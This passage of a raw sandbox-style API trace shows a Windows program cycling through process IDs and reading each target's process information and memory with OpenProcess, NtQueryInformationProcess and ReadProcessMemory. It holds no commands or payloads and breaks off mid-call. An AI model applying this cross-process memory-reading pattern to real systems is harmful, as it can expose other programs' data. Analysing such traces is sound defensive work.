lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.311] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.311] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.311] malloc (_Size=0x16) returned 0xec9880 [0351.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec9880, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9880*, lpNumberOfBytesRead=0x0) returned 1 [0351.311] free (_Block=0xec9880) [0351.312] CloseHandle (hObject=0xa9c) returned 1 [0351.312] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0351.312] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0351.312] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.312] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.313] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0351.313] GetLastError () returned 0x0 [0351.313] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.313] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.313] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.313] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.313] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.314] malloc (_Size=0x7a) returned 0xe87550 [0351.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87550, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87550*, lpNumberOfBytesRead=0x0) returned 1 [0351.315] free (_Block=0xe87550) [0351.315] CloseHandle (hObject=0xa9c) returned 1 [0351.315] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0351.315] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0351.315] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.315] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0351.316] GetLastError () returned 0x0 [0351.316] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.316] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.317] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.317] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.318] malloc (_Size=0x5e) returned 0xeb6700 [0351.318] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6700, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0351.318] free (_Block=0xeb6700) [0351.318] CloseHandle (hObject=0xa9c) returned 1 [0351.319] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0351.319] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0351.319] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.319] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.320] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0351.320] GetLastError () returned 0x0 [0351.320] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.321] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.321] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.321] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.321] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.321] malloc (_Size=0x8a) returned 0xec7ca0 [0351.321] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7ca0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ca0*, lpNumberOfBytesRead=0x0) returned 1 [0351.322] free (_Block=0xec7ca0) [0351.322] CloseHandle (hObject=0xa9c) returned 1 [0351.322] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0351.322] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0351.322] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.322] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.323] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0351.323] GetLastError () returned 0x0 [0351.323] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.324] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.324] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.324] malloc (_Size=0x88) returned 0xe88090 [0351.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe88090, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0351.325] free (_Block=0xe88090) [0351.325] CloseHandle (hObject=0xa9c) returned 1 [0351.325] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0351.325] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0351.325] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.326] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.326] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0351.326] GetLastError () returned 0x0 [0351.326] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.327] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.327] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.328] malloc (_Size=0x68) returned 0xeb60e0 [0351.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb60e0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0351.328] free (_Block=0xeb60e0) [0351.328] CloseHandle (hObject=0xa9c) returned 1 [0351.328] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0351.329] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0351.329] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.329] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0351.330] GetLastError () returned 0x0 [0351.330] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.330] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.330] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.330] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.330] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.330] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.331] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.331] malloc (_Size=0x6c) returned 0xea9420 [0351.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea9420, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0351.331] free (_Block=0xea9420) [0351.332] CloseHandle (hObject=0xa9c) returned 1 [0351.332] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0351.332] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0351.332] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.332] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0351.335] CloseHandle (hObject=0x0) returned 0 [0351.335] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0351.335] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0351.335] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.335] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.336] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0351.336] GetLastError () returned 0x0 [0351.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.337] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.337] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.337] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.337] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.337] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.337] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.337] malloc (_Size=0x8a) returned 0xec78e0 [0351.338] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec78e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec78e0*, lpNumberOfBytesRead=0x0) returned 1 [0351.338] free (_Block=0xec78e0) [0351.338] CloseHandle (hObject=0xa9c) returned 1 [0351.338] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0351.339] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0351.339] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.339] _vsnwprintf 